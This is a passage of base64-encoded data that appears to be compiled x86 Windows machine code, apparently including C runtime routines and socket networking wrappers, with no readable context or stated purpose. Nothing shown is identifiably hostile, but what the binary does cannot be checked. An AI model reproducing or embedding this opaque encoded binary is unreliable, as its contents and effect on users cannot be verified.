ovhcAAFfochIAAIv7g8QIi13o6xUbwIPIAYXAdQU5RxR1HIvfiz+JXeiLReyLVeSF/w+FUP///4tFCIXAdQq/AgAAAOn8AAAAi9DHRewCAAAAM/+5AQAAAIl96DPbjUIBiUXkjWQkAIoCQoTAdfmLRfArVeSJVeQ5WGwPhLYAAACLcGyL+Yv/i8GD6AB0Bkh0Vkh1P4oGPDp0BITAdTWD+QJ1K4XbdCeLTfCLxyvDSFCLQWwDw1BS/3UI6Jjo//+LTeiDxBCFwA9FTeyJTei5AQAAAItV8ItCbItV5IB8B/8AdEpHRuugigY8K3UQx0XsAAAAAIvfuQIAAADr1jwtdRDHRewCAAAAi9+5AgAAAOvCPD91EMdF7AEAAACL37kCAAAA666EwHSqM8nrpot14It96ItF8IsAi03wV/+QWAEAAIv4i87HRfz/////6PUo/v+LTfSLx19eW2SJDQAAAACL5V3CBABVi+xq/2hYtQMQZKEAAAAAUGSJJQAAAABRVleL+Y23JAMAAIvOiXXw6LMm/v+DvxwBAAAAx0X8AAAAAHQXjUkAi49UAwAA6KUo/v+DvxwBAAAAdeyLzsdF/P/////ofij+/4tN9F9eZIkNAAAAAIvlXcPMzMzMzMzMzMzMzMzMzFWL7Gr/aFi1AxBkoQAAAABQZIklAAAAAFFWV4v5jbckAwAAi86JdfDoMyb+/4O/FAEAAADHRfwAAAAAdBeNSQCLj1QDAADoJSj+/4O/FAEAAAB17IvOx0X8/////+j+J/7/i030X15kiQ0AAAAAi+Vdw8zMzMzMzMzMzMzMzMzMi4EEAQAAw8zMzMzMzMzMzIuB2AAAAMPMzMzMzMzMzMxVi+yLRQiJgdgAAABdwgQAVYvsagzoig8AAIPEBIXAdB+LTQiFyXUGi8iL0OsDi1UMiQiNSASFyXQCiRFdwggA6H4OAADMzMzMzMzMzMzMzFeL+YsXiwKJEosXiVIEx0cEAAAAADsHdBlWjZsAAAAAizBQ6H0PAACDxASLxjs3de9eX8PMzMzMzMzMzMzMzMxVi+xWi/FX/3UIiz7/dwRX6KvN//+L0LlUVVUVi0YEK8iD+QFyEkCJRgSJVwSLQgRfXokQXcIEAGg4AAQQ6CIOAADMzMzMzMzMzMzMzMzMzFWL7IHslAAAAFaNhWz////HhWz///+UAAAAUIvx/xXowAMQi4V8////o6DPBBCLhXD///+jrM8EEIuFdP///6OwzwQQi8Zei+Vdw8zMzMzMgz2kzwQQAHQg/zWozwQQxwWkzwQQAAAAAP8V0MEDEMcFqM8EEAAAAADDzMzMzMzMVYvsVlf/dQyLfQhX6F8AAACL8IPECIX2dEy5QO4DEIvXigI6AXUahMB0EopCATpBAXUOg8ICg8EChMB15DPA6wUbwIPIAYXAdRrokQEAAIXAdRH/dQxoyAIEEFfor1UAAIPEDIvGX15dw8zMzMzMzFWL7FFWizWgzwQQg/4CdXzoWwEAAIXAdHP/FRDDAxCFwHUHM8Bei+Vdw41N/FFqAGoAagRQ/xUMwwMQg338AHU8/xUUwAMQ/zWozwQQxwWkzwQQAAAAAP8V0MEDEMcFqM8EEAAAAACDfQwAdraLRQhexgAAuAEAAACL5V3Dgz2kzwQQAHThizWgzwQQjUb/g/gBd4+LdQyNRfxXi30IUFeJdfz/FQDAAxCFwHUc/xXkwQMQPd0EAAB1BIX2dQhfM8Bei+Vdw8YHAF+4AQAAAF6L5V3DzMzMzMzMzMzMzMzMagDomQAAAIPEBLgBAAAAwzPAgz2gzwQQAQ+UwMPMzMwzwIM9oM8EEAIPlMDDzMzM6Ov///+FwHUBw1ZoMMQDEP8VyMEDEIvwhfZ0F2hg+QMQVv8V7MEDEIXAdQtW/xXwwQMQM8Bew1f/0FaL+P8V8MEDEIX/dQVfM8Bew4vHX17DzMzMzMzMzMzMzMzMzMzMM8DDzMzMzMzMzMzMzMzMzFWL7Oh4////hcB0MlZqAOgMoP3/i/CDxASF9nQUVugtAAAAg8QEhcB1DFb/FfDCAxAzwF5dw7gBAAAAXl3DM8A5RQgPlMBdw8zMzMzMzMzMVYvsgewEAQAA6CL///+FwHRUV/8VsMEDEFD/FezCAxCL+I1F/FBoAAEAAI2F/P7//1BqAv91CP8VDMMDEIXAdA3/dQj/FRzDAxCFwHUHM8Bfi+Vdw1f/FfDCAxC4AQAAAF+L5V3DuAEAAACL5V3DzOi7/v//hcB0H2oBagBokHkCEOgJIP7/g8QMhcB1AcNqAIvI6Mgg/v+4AQAAAMPMzFb/FbDBAxBQ/xXswgMQaNACBBCL8Oj2/v//g8QEhcB0OmjcAgQQaOgCBBD/FQTDAxBoAwAuAIXAuf//AABqAA9EwWgSAwAAUP8VqMIDEIX2dAlW6Aj///+DxAQzwF7DzKGszwQQw8zMzMzMzMzMzMyhsM8EEMPMzMzMzMzMzMzM6Av+//+FwHQn6HL+//+FwHQegz2kzwQQAHUDMsDD/zWozwQQ/xUYwAMQhcAPlcDDsAHDzMzMzMzMzMzMzMzMzP8lFMADEMzMzMzMzMzMzMxWi/GNTgTHBgADBBDoDwIAAMdGNAAAAACLxl7DzMzMzFWL7Gr/aHu2AxBkoQAAAABQZIklAAAAAIPsCFaL8VeJdfDHBgADBBCNTgTHRfwAAAAA6EkIAACLRjSFwHQix0BUAQAAAI1F7ItONFDofx/+/41OBMdGNAAAAADokAIAAI1OBMdF/P/////oEQIAAItN9F9eZIkNAAAAAIvlXcPMVYvsVovx6CUd/v/2RQgBdAlW6C4KAACDxASLxl5dwgQAzMzMzMzMzMzMzMzMzMzMVYvsZKEAAAAAav9om7YDEFBkiSUAAAAAi0UMU1ZXi/mNXwSJRzCLy+iDAgAAhcB1FTPAi030ZIkNAAAAAF9eW4vlXcIIAItNCGoAiwH/kBwBAABQ/3cwi8vo0gEAAIXAdM+Ly+j3/P//hcB0xGpg6FAJAACL8IPEBIl1DMdF/AAAAACF9nQTagFqAIvO6C4b/v/HBggDBBDrAjP2x0X8/////4l3NIX2dIf/dQiLBovOU/9QDItN9F9eZIkNAAAAAFuL5V3CCADMzMzMzMzMzFWL7ItFDIlBXItFCIlBWMdBVAAAAADotSD+/7gBAAAAXcIIAMzMzMzMzMzMzMzMzFWL7FaL8Y1OFMcGHAMEEOicGv7/agBqAP91CGoAagFqAv8VNMMDEIPJ/8dGEAAAAAA7wQ9EwYlGBItFDIlGCIvGXl3CCADMzMzMzMzMzMzMVovxjU4UxwYcAwQQ6E8a/v/HRgT/////i8bHRggAAAAAx0YQAAAAAF7DzMzMzMzMVYvsgeyQAQAAjYVw/v//VlBoAgIAAIvx/xU8wwMQhcB0DccGAAAAAIvGXovlXcNmi4Vw/v//ZqO8zwQQi8bHBv////9ei+Vdw8zMzMzMzMxWi/HHBhwDBBDoYgAAAI1OFF7p+Rr+/8zMzMzMzMzMzMPMzMzMzMzMzMzMzMzMzMxVi+xWi/Hoxf////ZFCAF0CVbo/gcAAIPEBIvGXl3CBADMzMzMzMzMzMzMzMzMzMwzwMIMAMzMzMzMzMzMzMzMVovxg34EAHwQ/3YIx0YE//////8V7MADEIN+EAB0MFNXi0YQi/iLWAiF/3QZi0cEhcB0CVDohSEAAIPEBFfokgcAAIPEBIleEIXbddRfW4PI/17DzMzMzMzMzMzMzMzMM8DCCADMzMzMzMzMzMzMzFWL7FFWi/HHRfwBAAAAg34EAHwF6Hf///9qAGoBagL/FUTDAxCJRgSFwHkHM8Bei+Vdw2oEjU38UWoEaP//AABQ/xVIwwMQhcB14WoEjUX8UGoBagb/dgT/FUjDAxD32F4bwPfYSIvlXcPMzMzMzMy4IAMEEMPMzMzMzMzMzMzMVYvsVovx6K1PAABqAP91DP91CMcAAAAAAP92BP8VLMMDEIvwhfZ5Gv8VOMMDED0zJwAAdQvofk8AAMcAjAAAAIvGXl3CCADMzMzMzMzMzMxVi+yB7BACAABTi10MVovxV4XbD4TTAAAAjaQkAAAAAIN+EACLRgSJhfT9///HhfD9//8BAAAAx4X0/v//AAAAAHQQiYX4/v//x4X0/v//AQAAAI1N+MdF+AAAAABRagCNjfT+///HRfwyAAAAUY2N8P3//0BRUP8VMMMDEIXAdJ94dYP4An9wjYX0/v//UP92BOj9AwAAhcB0C4vO6F4BAACFwHRSjYXw/f//UP92BOjfAwAAhcB0K1P/dQiLzujs/v//i/iF/34HAX0IK9/rE3kN6JBOAACBOIwAAAB1GIX/dBSF2w+FNP///19eg8j/W4vlXcIIAF9eM8Bbi+VdwggAzMzMzMzMzMzMzMzMzFWL7FaL8ehNTgAAagD/dQz/dQjHAAAAAAD/dgT/FUzDAxCL8IX2eRr/FTjDAxA9MycAAHUL6B5OAADHAIwAAACLxl5dwggAzMzMzMzMzMzMVYvsgewMAQAAVlf/dQyL8f91COhIAQAAg34QAHRpiz0wwwMQi0YEjU34UWoAjY30/v//iYX4/v//UWoAQMeF9P7//wEAAABQx0X4AQAAAMdF/AAAAAD/14XAdMh4NIP4AX8vjYX0/v//UP92BOjCAgAAhcB0C4vO6CMAAACFwHQRg34QAHWdX4PI/16L5V3CCABfM8Bei+VdwggAzMzMzFWL7Gr/aFi1AxBkoQAAAABQZIklAAAAAFFTVleL+Y13FIvO6Dga/v+LVxCF0nRViwK7AIAAACtHDIvPO8MPR8NQi0IEA0cMUOjD/v//hcB+VwFHDItfEItHDDsDdSaLQwiJRxDHRwwAAAAAi0MEhcB0CVDoBx4AAIPEBFPoFAQAAIPEBIPP/4vOx0X8/////+jLG/7/i030i8dfXltkiQ0AAAAAi+Vdw3mq6LlMAACBOIwAAAB0nTP/68zMzMzMzFWL7Gr/aM62AxBkoQAAAABQZIklAAAAAIPsCFOL2VZXjXMUi86JdfDocxn+/4t7EMdF/AAAAACF/3VhagzoQgMAAIv4g8QEiX3sxkX8AYX/dDyLRQxQx0cIAAAAAIkH6HYBAACDxASJRwSFwHQii00Ihcl0G/91DFFQ6DEPAACDxAyJexDHQwwAAAAA63Az/4l7EMdDDAAAAADrYoN/CACNRwh0C4s4g38IAI1HCHX1agzozQIAAIvYg8QEiV3sxkX8AoXbdDKLRQxQx0MIAAAAAIkD6AEBAACDxASJQwSFwHQYi00Ihcl0Ef91DFFQ6LwOAACDxAzrAjPbiV8Ii87HRfz/////6JQa/v+LTfSDyP9fXltkiQ0AAAAAi+VdwggAzMzMzMzMzMzMzMzMzMxVi+yLRQhWagSJRQiL8Y1FCFBoBhAAAGj//wAA/3YE/xVIwwMQg/j/dQczwF5dwgQAagSNRQhQaAUQAABo//8AAP92BP8VSMMDEED32F4bwF3CBADMzMzMzMzMzMzMzMxXi/mDfxAAdDVTVusDjUkAi0cQi/CLWAiF9nQZi0YEhcB0CVDoBhwAAIPEBFboEwIAAIPEBIlfEIXbddReW4PI/1/DzP8lQMMDEFWL7F3poQEAAFWL7Fb/dQiL8eiqTgAAxwY0AwQQi8ZeXcIEAFWL7Fb/dQiL8eiPTgAAxwZcAwQQi8ZeXcIEAFWL7Fb/dQiL8eh0TgAAxwZQAwQQi8ZeXcIEAFWL7Fb/dQiL8ehZTgAAxwZoAwQQi8ZeXcIEAMcBNAMEEOlkTgAA6V9OAABVi+xWi/HHBjQDBBDoTk4AAPZFCAF0B1boWQEAAFmLxl5dwgQAVYvsVovx6C9OAAD2RQgBdAdW6DoBAABZi8ZeXcIEAFWL7IPsEGoBjUX8x0X8PAMEEFCNTfDowk0AAGgobAQQjUXwx0XwNAMEEFDoniAAAMxVi+yD7AyLRQiNTfSJRQiNRQhQ6G9NAABomGwEEI1F9MdF9FwDBBBQ6HAgAADMVYvsg+wMi0UIjU30iUUIjUUIUOhBTQAAaNRsBBCNRfTHRfRoAwQQUOhCIAAAzFWL7IM9XAoEEAC4WAoEEHQQi00IOQh0DYPACIN4BAB18zPAXcOLQARdw1WL7IM9BAgEEAC4AAgEEHQQi00IOQh0DYPACIN4BAB18zPAXcOLQARdw1WL7IPsEOsN/3UI6DlOAABZhcB0Ef91COiyBQAAWYXAdOaL5V3DagGNRfzHRfw8AwQQUI1N8OjBTAAAaChsBBCNRfDHRfA0AwQQUOidHwAAzOlBBQAAzMzMzMzMi0wkCItEJARXU1aDPRjQBBABD4LOAQAAD4f9AAAAD7YRi9rB4ggL0w+E6QAAAGYPbtryD3DbAA8W22YP78CL8YPP/w+2GYPBAYXbdB33wQ8AAAB17mYPbxFmD3TQZg/X2oXbdQW/DwAAAGYPftq7/w8AACPYgfvwDwAAdyfzD28IZg/v0mYPdNFmD3TLZg/rymYP19mDwBCF23TSD7zbg+gQA8MPthiF23Rqg8ABOtN1vIvQjU4Bu/8PAACFz3U5I9qB+/APAAB3L/MPbwpmD28RZg90ymYPdNBmD3TIZg/r0WYP19qF23UIg8IQg8EQ68UPvNsD0wPLD7YZhdt0EDoaD4Vi////g8IBg8EB66dIXltfwzPAXltfw4A5AHT3i/m7/w8AACPZgfvwDwAAdwbzD28B6yK7DwAAAA+2MYPBAWYPOiDGD2YPc9gBS3QJhfZ07uvmg8ABZg9+wrv/DwAAI9iB+/APAAB2EA+2GIXbdKI603QYg8AB6+GDwBBmDzpjQPAMd9Vzi4PoEAPBi9eL8Lv/DwAAI96B+/APAAB3Kbv/DwAAI9qB+/APAAB3GvMPbwqDxhCDwhBmDzpjTvAMcZJ5zelM////D7YahdsPhEH///86Hg+FeP///4PGAYPCAeutihGL+ITSdG+KcQGE9nRVi/eLTCQUigeDxgE6wnQXhMB0DYoGg8YBOsJ0CoTAdfNeW18zwMOKBoPGATrGdemNfv+KYQKE5HQoigaDxgI6xHW+ikEDhMB0GIpm/4PBAjrEdN/rqzPAXltfisLp6EMAAI1H/15bX8OLx15bX8NVi+xWi/GLTQjGRgwAhcl1ZlfoqlkAAIv4iX4Ii1dsiRaLT2iJTgQ7FdS4BBB0EaGYuQQQhUdwdQfopk8AAIkGi0YEXzsFbLYEEHQVi04IoZi5BBCFQXB1COgIUwAAiUYEi04Ii0FwqAJ1FoPIAolBcMZGDAHrCosBiQaLQQSJRgSLxl5dwgQAVYvsg+wkjU3c/3UI6Gf///+LRRCFwHQFi00MiQiLRQxTVleFwHQRi30Uhf90H4P/AnwFg/8kfhXooEUAAMcAFgAAAOhKTAAA6cEBAACLfdyNcAEz24ld9IoYg390AX4XjUXcUA+2w2oIUOioVgAAi33cg8QM6xCLh5AAAAAPtssPtwRIg+AIhcB0BYoeRuvKi0UYiF3/gPstdQuDyAKKDkaITf/rCID7K3Tzik3/i30Ui130iUX4hf8PiEMBAACD/wEPhDoBAACD/yQPjzEBAACF/3UdgPkwdAVqCl/rMIoGPHh0CDxYdARqCOvvahBf6wqD/xB1GID5MHUTigY8eHQEPFh1CYpOAYPGAohN/4PI/zPS9/eJRfSLRdyJVfCLVfiLgJAAAACJRewPtskPtwRIi8iD4QR0CQ++Rf+D6DDrGiUDAQAAdESKTf+NQZ88GQ++wXcDg+ggg8DJO8dzLYtN9IPKCDvZchN1BTtF8HYMi0UQg8oEhcB0FesFD6/fA9iKDkaLReyITf/rnotFEE6JVfiJVfj2wgh1C4XAdAOLdQwz2+tJv////3/2wgR1HPbCAXU6i8KD4AJ0CIH7AAAAgHcIhcB1JzvfdiPoC0QAAItV+McAIgAAAPbCAXQFg8v/6wv2wgJqAFsPlcMD34tFEIXAdAKJMPbCAnQS99vrDotFEIXAdAWLTQyJCDPbgH3oAHQHi03kg2Fw/V9ei8Nbi+Vdw1WL7IM9ZNAEEABqAf91EP91DP91CHUHaJC5BBDrAmoA6LX9//+DxBRdw1WL7IN9CAB0Lf91CGoA/zVo0AQQ/xWcwQMQhcB1GFboaUMAAIvw/xXkwQMQUOhuQwAAWYkGXl3DVYvsVot1CIP+4HdvU1ehaNAEEIXAdR3o0VgAAGoe6CdZAABo/wAAAOi7DQAAoWjQBBBZWYX2dASLzusDM8lBUWoAUP8VlMEDEIv4hf91JmoMWzkFoNYEEHQNVugaSAAAWYXAdanrB+jpQgAAiRjo4kIAAIkYi8dfW+sUVuj5RwAAWejOQgAAxwAMAAAAM8BeXcNVi+yD7CBTVzPbjX3kagczwIld4FnzqzlFEHUV6KJCAADHABYAAADoTEkAAIPI/+t1i0UMVot1CIXAdBmF9nUV6H5CAADHABYAAADoKEkAAIPI/+tQuf///3+JTeQ7wXcDiUXkjUUUx0XsQgAAAFBT/3UQjUXgiXXoUIl14OhCWwAAg8QQi/iF9nQa/03keAeLReCIGOsMjUXgUFPo1FkAAFlZi8deX1uL5V3DVYvsVvyLdQyLTggzzujlRgAAagBW/3YU/3YMagD/dRD/dhD/dQjosXwAAIPEIF5dw1WL7FFT/ItFDItICDNNDOiyRgAAi0UIi0AEg+BmdBGLRQzHQCQBAAAAM8BA62zramoBi0UM/3AYi0UM/3AUi0UM/3AMagD/dRCLRQz/cBD/dQjoVHwAAIPEIItFDIN4JAB1C/91CP91DOgfAgAAagBqAGoAagBqAI1F/FBoIwEAAOiAAAAAg8Qci0X8i10Mi2Mci2sg/+AzwEBbi+Vdw1WL7IPsGKHwugQQjU3og2XoADPBi00IiUXwi0UMiUX0i0UUQMdF7AGMAhCJTfiJRfxkoQAAAACJReiNRehkowAAAAD/dRhR/3UQ6GBuAACLyItF6GSjAAAAAIvBi+Vdw1hZhwQk/+BVi+yD7DhTgX0IIwEAAHUSuOGNAhCLTQyJATPAQOmwAAAAg2XIAMdFzDKMAhCh8LoEEI1NyDPBiUXQi0UYiUXUi0UMiUXYi0UciUXci0UgiUXgg2XkAINl6ACDZewAiWXkiW3oZKEAAAAAiUXIjUXIZKMAAAAAx0X8AQAAAItFCIlF8ItFEIlF9OiuUwAAi4CAAAAAiUX4jUXwUItFCP8w/1X4WVmDZfwAg33sAHQXZIsdAAAAAIsDi13IiQNkiR0AAAAA6wmLRchkowAAAACLRfxbi+Vdw1WL7FFRi0UIU4tdDFaLcAyLSBCJTfiJdfxXi/6F23gzi1UQg/7/dQvokG0AAItN+ItVEE5rxhQ5VAgEfQY7VAgIfgWD/v91B4t9/EuJdfyF23nQi0UURokwi0UYiTiLRQg7eAx3BDv3dgjoTm0AAItN+GvGFF9eWwPBi+Vdw1WL7FFTi0UMg8AMiUX8ZIsdAAAAAIsDZKMAAAAAi0UIi10Mi238i2P8/+Bbi+VdwggAVYvsUVFTVldkizUAAAAAiXX4x0X86Y4CEGoA/3UM/3X8/3UI/xWQwQMQi0UMi0AEg+D9i00MiUEEZIs9AAAAAItd+Ik7ZIkdAAAAAF9eW4vlXcIIAFWL7ItNDFaLdQiJDuhPUgAAi4iYAAAAiU4E6EFSAACJsJgAAACLxl5dw1WL7FboLVIAAIt1CDuwmAAAAHUR6B1SAACLTgSJiJgAAABeXcPoDFIAAIuImAAAAOsJi0EEO/B0D4vIg3kEAHXxXl3pRmwAAItGBIlBBOvSVYvs6N5RAACLgJgAAACFwHQOi00IOQh0DItABIXAdfUzwEBdwzPAXcNVi+yD7AhTVlf8iUX8M8BQUFD/dfz/dRT/dRD/dQz/dQjoAHkAAIPEIIlF+F9eW4tF+IvlXcPMzMxWQzIwWEMwMFWL7IPsCFNWV1X8i10Mi0UI90AEBgAAAA+FwwAAAIlF+ItFEIlF/I1F+IlD/ItzDIt7CFPoL3wAAIPEBAvAD46PAAAAg/7/D4SNAAAAjQx2i0SPBAvAdGZWVY1rEDPbM8kz0jP2M///0F1ei10MC8B0THhYagH/dQjor3kAAIPECIt7CFPo3nkAAIPEBI1rEFZT6DZ6AACDxAiNDHZqAYtEjwjo1XoAAIsEj4lDDItEjwgz2zPJM9Iz9jP//9CLewiNDHaLNI/peP///7gAAAAA6yOLRQiDSAQIuAEAAADrFVWNaxBq/1Po4HkAAIPECF24AQAAAF1fXluL5V3DVYtMJAiLKYtBHFCLQRhQ6Lt5AACDxAhdwgQAzMzMzMzMzMzMzMzMzMzMV1aLdCQQi0wkFIt8JAyLwYvRA8Y7/nYIO/gPgmgDAAAPuiUc0AQQAXMH86TpFwMAAIH5gAAAAA+CzgEAAIvHM8apDwAAAHUOD7olwLAEEAEPgtoEAAAPuiUc0AQQAA+DpwEAAPfHAwAAAA+FuAEAAPfGAwAAAA+FlwEAAA+65wJzDYsGg+kEjXYEiQeNfwQPuucDcxHzD34Og+kIjXYIZg/WD41/CPfGBwAAAHRjD7rmAw+DsgAAAGYPb070jXb0Zg9vXhCD6TBmD29GIGYPb24wjXYwg/kwZg9v02YPOg/ZDGYPfx9mD2/gZg86D8IMZg9/RxBmD2/NZg86D+wMZg9/byCNfzB9t412DOmvAAAAZg9vTviNdviNSQBmD29eEIPpMGYPb0YgZg9vbjCNdjCD+TBmD2/TZg86D9kIZg9/H2YPb+BmDzoPwghmD39HEGYPb81mDzoP7AhmD39vII1/MH23jXYI61ZmD29O/I12/Iv/Zg9vXhCD6TBmD29GIGYPb24wjXYwg/kwZg9v02YPOg/ZBGYPfx9mD2/gZg86D8IEZg9/RxBmD2/NZg86D+wEZg9/byCNfzB9t412BIP5EHwT8w9vDoPpEI12EGYPfw+NfxDr6A+64QJzDYsGg+kEjXYEiQeNfwQPuuEDcxHzD34Og+kIjXYIZg/WD41/CIsEjViUAhD/4PfHAwAAAHUVwekCg+IDg/kIcirzpf8klViUAhCQi8e6AwAAAIPpBHIMg+ADA8j/JIVskwIQ/ySNaJQCEJD/JI3skwIQkHyTAhCokwIQzJMCECPRigaIB4pGAYhHAYpGAsHpAohHAoPGA4PHA4P5CHLM86X/JJVYlAIQjUkAI9GKBogHikYBwekCiEcBg8YCg8cCg/kIcqbzpf8klViUAhCQI9GKBogHg8YBwekCg8cBg/kIcojzpf8klViUAhCNSQBPlAIQPJQCEDSUAhAslAIQJJQCEByUAhAUlAIQDJQCEItEjuSJRI/ki0SO6IlEj+iLRI7siUSP7ItEjvCJRI/wi0SO9IlEj/SLRI74iUSP+ItEjvyJRI/8jQSNAAAAAAPwA/j/JJVYlAIQi/9olAIQcJQCEHyUAhCQlAIQi0QkDF5fw5CKBogHi0QkDF5fw5CKBogHikYBiEcBi0QkDF5fw41JAIoGiAeKRgGIRwGKRgKIRwKLRCQMXl/DkI10MfyNfDn898cDAAAAdSTB6QKD4gOD+QhyDf3zpfz/JJX0lQIQi//32f8kjaSVAhCNSQCLx7oDAAAAg/kEcgyD4AMryP8khfiUAhD/JI30lQIQkAiVAhAslQIQVJUCEIpGAyPRiEcDg+4BwekCg+8Bg/kIcrL986X8/ySV9JUCEI1JAIpGAyPRiEcDikYCwekCiEcCg+4Cg+8Cg/kIcoj986X8/ySV9JUCEJCKRgMj0YhHA4pGAohHAopGAcHpAohHAYPuA4PvA4P5CA+CVv////3zpfz/JJX0lQIQjUkAqJUCELCVAhC4lQIQwJUCEMiVAhDQlQIQ2JUCEOuVAhCLRI4ciUSPHItEjhiJRI8Yi0SOFIlEjxSLRI4QiUSPEItEjgyJRI8Mi0SOCIlEjwiLRI4EiUSPBI0EjQAAAAAD8AP4/ySV9JUCEIv/BJYCEAyWAhAclgIQMJYCEItEJAxeX8OQikYDiEcDi0QkDF5fw41JAIpGA4hHA4pGAohHAotEJAxeX8OQikYDiEcDikYCiEcCikYBiEcBi0QkDF5fw42kJAAAAABXi8aD4A+FwA+F0gAAAIvRg+F/weoHdGWNpCQAAAAAkGYPbwZmD29OEGYPb1YgZg9vXjBmD38HZg9/TxBmD39XIGYPf18wZg9vZkBmD29uUGYPb3ZgZg9vfnBmD39nQGYPf29QZg9/d2BmD39/cI22gAAAAI2/gAAAAEp1o4XJdE+L0cHqBIXSdBeNmwAAAABmD28GZg9/B412EI1/EEp174PhD3Qqi8HB6QJ0DYsWiReNdgSNfwRJdfOLyIPhA3QPigaIB0ZHSXX3jZsAAAAAWF5fw42kJAAAAADrA8zMzLoQAAAAK9ArylGLwovIg+EDdAmKFogXRkdJdffB6AJ0DYsWiReNdgSNfwRIdfNZ6fr+///MzMzMzMzMzMzMzMyLVCQMi0wkBIXSdH8PtkQkCA+6JRzQBBABcw2LTCQMV4t8JAjzqutdi1QkDIH6gAAAAHwOD7olwLAEEAEPghB4AABXi/mD+gRyMffZg+EDdAwr0YgHg8cBg+kBdfaLyMHgCAPBi8jB4BADwYvKg+IDwekCdAbzq4XSdAqIB4PHAYPqAXX2i0QkCF/Di0QkBMNVi+zoDwAAAIN9CAB0BegVgwAA2+Jdw7iKEAMQxwUUuwQQdhkDEKMQuwQQxwUYuwQQBxoDEMcFHLsEEGEaAxDHBSC7BBDmGgMQoyS7BBDHBSi7BBCrEAMQxwUsuwQQHxoDEMcFMLsEEIcZAxDHBTS7BBByGgMQw1WL7FGNRfxQaNAQBBBqAP8VgMEDEIXAdBdo6BAEEP91/P8V7MEDEIXAdAX/dQj/0IvlXcNVi+z/dQjowf///1n/dQj/FYTBAxDMVlf/NRDvBBD/FYjBAxCLNfTPBBCL+IX2dBiDPgB0Df826KTx//9Zg8YEde6LNfTPBBBTVuiR8f//izXwzwQQM9uJHfTPBBBZhfZ0FzkedA3/Nuhz8f//WYPGBHXvizXwzwQQVuhh8f///zXszwQQiR3wzwQQ6FDx////NejPBBDoRfH//4PO/4kd7M8EEIPEDIkd6M8EEDv+dA85HRDvBBB0B1foIfH//1lW/xWMwQMQoxDvBBChqNgEEIXAdA1Q6AXx//9ZiR2o2AQQoazYBBCFwHQNUOjv8P//WYkdrNgEEKFstgQQ8A/BME5bdRuhbLYEEL5ItAQQO8Z0DVDox/D//1mJNWy2BBBfXsNVi+zo2kkAAP91COgvSgAAWWj/AAAA6JQAAADMagFqAGoA6D4BAACDxAzDVYvsgz3MEAQQAHQZaMwQBBDoIYcAAFmFwHQK/3UI/xXMEAQQWegsgQAAaPjDAxBo5MMDEOjNAAAAWVmFwHVDaI4bAxDoXQgAAMcEJODDAxBoVMMDEOh2AAAAgz0I7wQQAFlZdBtoCO8EEOjIhgAAWYXAdAxqAGoCagD/FQjvBBAzwF3DVYvsagBqAf91COinAAAAg8QMXcNWagD/FYzBAxCL8FbowTgAAFbo7TkAAFbomogAAFborogAAFbokWEAAFbos4oAAIPEGF7pUIMAAFWL7ItFDFNWi3UIM9srxoPAA8HoAjl1DFcb//fXI/h2EIsGhcB0Av/Qg8YEQzvfcvBfXltdw1WL7FaLdQgzwOsPhcB1EIsOhcl0Av/Rg8YEO3UMcuxeXcNqCOiGgAAAWcNqCOjngQAAWcNqHGgQbQQQ6EGKAABqCOhogAAAWYNl/ACDPeDPBBABD4TJAAAAxwUI0AQQAQAAAIpFEKIE0AQQg30MAA+FnAAAAP81EO8EEIs1iMEDEP/Wi9iJXdSF23R0/zUM7wQQ/9aL+Ild5Il94Il93IPvBIl93Dv7cldqAP8VjMEDEDkHdOo7+3JH/zf/1ovwagD/FYzBAxCJB//W/zUQ7wQQizWIwQMQ/9aJRdj/NQzvBBD/1otN2DlN5HUFOUXgdK6JTeSL2Yld1IlF4Iv465xoDMQDEGj8wwMQ6Lv+//9ZWWgUxAMQaBDEAxDoqv7//1lZx0X8/v///+ggAAAAg30QAHUpxwXgzwQQAQAAAGoI6NSAAABZ/3UI6F78//+DfRAAdAhqCOi+gAAAWcPoZIkAAMNVi+xqAGoA/3UI6ML+//+DxAxdw+j5RAAAaUgU/UMDAIHBw54mAIlIFMHpEIHh/38AAIvBw1WL7OjVRAAAi00IiUgUXcOhBO8EEFZqFF6FwHUHuAACAADrBjvGfQeLxqME7wQQagRQ6FOFAACjAO8EEFlZhcB1HmoEVok1BO8EEOg6hQAAowDvBBBZWYXAdQVqGlhewzPSuTiuBBCJDAKDwSCNUgSB+biwBBB9B6EA7wQQ6+gzwF7D6M8IAACAPQTQBBAAdAXoHosAAP81AO8EEOhT7f//gyUA7wQQAFnDuDiuBBDDVYvsVot1CLk4rgQQO/FyIoH+mLAEEHcai8YrwcH4BYPAEFDoP34AAIFODACAAABZ6wqNRiBQ/xUYwQMQXl3DVYvsi0UIg/gUfRaDwBBQ6BR+AACLRQxZgUgMAIAAAF3Di0UMg8AgUP8VGMEDEF3DVYvsi0UIuTiuBBA7wXIfPZiwBBB3GIFgDP9///8rwcH4BYPAEFDoN38AAFldw4PAIFD/FYDAAxBdw1WL7ItNCItFDIP5FH0TgWAM/3///41BEFDoCn8AAFldw4PAIFD/FYDAAxBdw2oMaDBtBBDoV4cAADPbiV3kM8CLfQiF/w+VwIXAdRjo1y8AAMcAFgAAAOiBNgAAg8j/6ccAAAAzwDlFDA+VwIXAdNyJfQhX6N7+//9ZIV389kcMQHVxV+hvigAAWYvQg/r/dBmD+v50FIvKwfkFg+AfweAGAwSNsNgEEOsFuGC8BBD2QCR/dSmD+v90GYP6/nQUi8LB+AWD4h/B4gYDFIWw2AQQ6wW6YLwEEPZCJIB0FuhFLwAAxwAWAAAA6O81AACDy/+JXeSF23UlV+i3iAAAi/CNRRBQU/91DFfoG0gAAIvYiV3kV1boaogAAIPEHMdF/P7////oDgAAAIvD6KWGAADDi13ki30IV+iJ/v//WcPpEeb//1WL7FFRjUX4UP8VdMEDEItN+ItF/IHBAIDBKmoAaICWmAAVIU5i/lBR6O4sAACD+gd8Dn8HPf9vQJN2BYPI/4vQi00Ihcl0BYkBiVEEi+Vdw1HHAfwQBBDoG40AAFnDVYvsjUEJUItFCIPACVDoeowAAPfYWRvAWUBdwgQAVYvsVovx6Mn////2RQgBdAdW6H3l//9Zi8ZeXcIEAFGNTCQEK8gbwPfQI8iLxCUA8P//O8hyCovBWZSLAIkEJMMtABAAAIUA6+lVi+yDJRjQBBAAg+wcUzPbQwkdwLAEEGoK6A0PAQCFwA+ETAEAADPJiR0Y0AQQM8APolaLNcCwBBBXjX3kg84CiQeJXwSJTwiJVwyLReSLTfCJRfSB8WluZUmLRew1bnRlbIk1wLAEEAvIi0XoNUdlbnULyPfZagEayVj+wWoAWQ+iiQeJXwSJTwiJVwyLTeyJTfh0Q4tF5CXwP/8PPcAGAQB0Iz1gBgIAdBw9cAYCAHQVPVAGAwB0Dj1gBgMAdAc9cAYDAHURiz0c0AQQg88BiT0c0AQQ6waLPRzQBBCDffQHfDVqBzPJ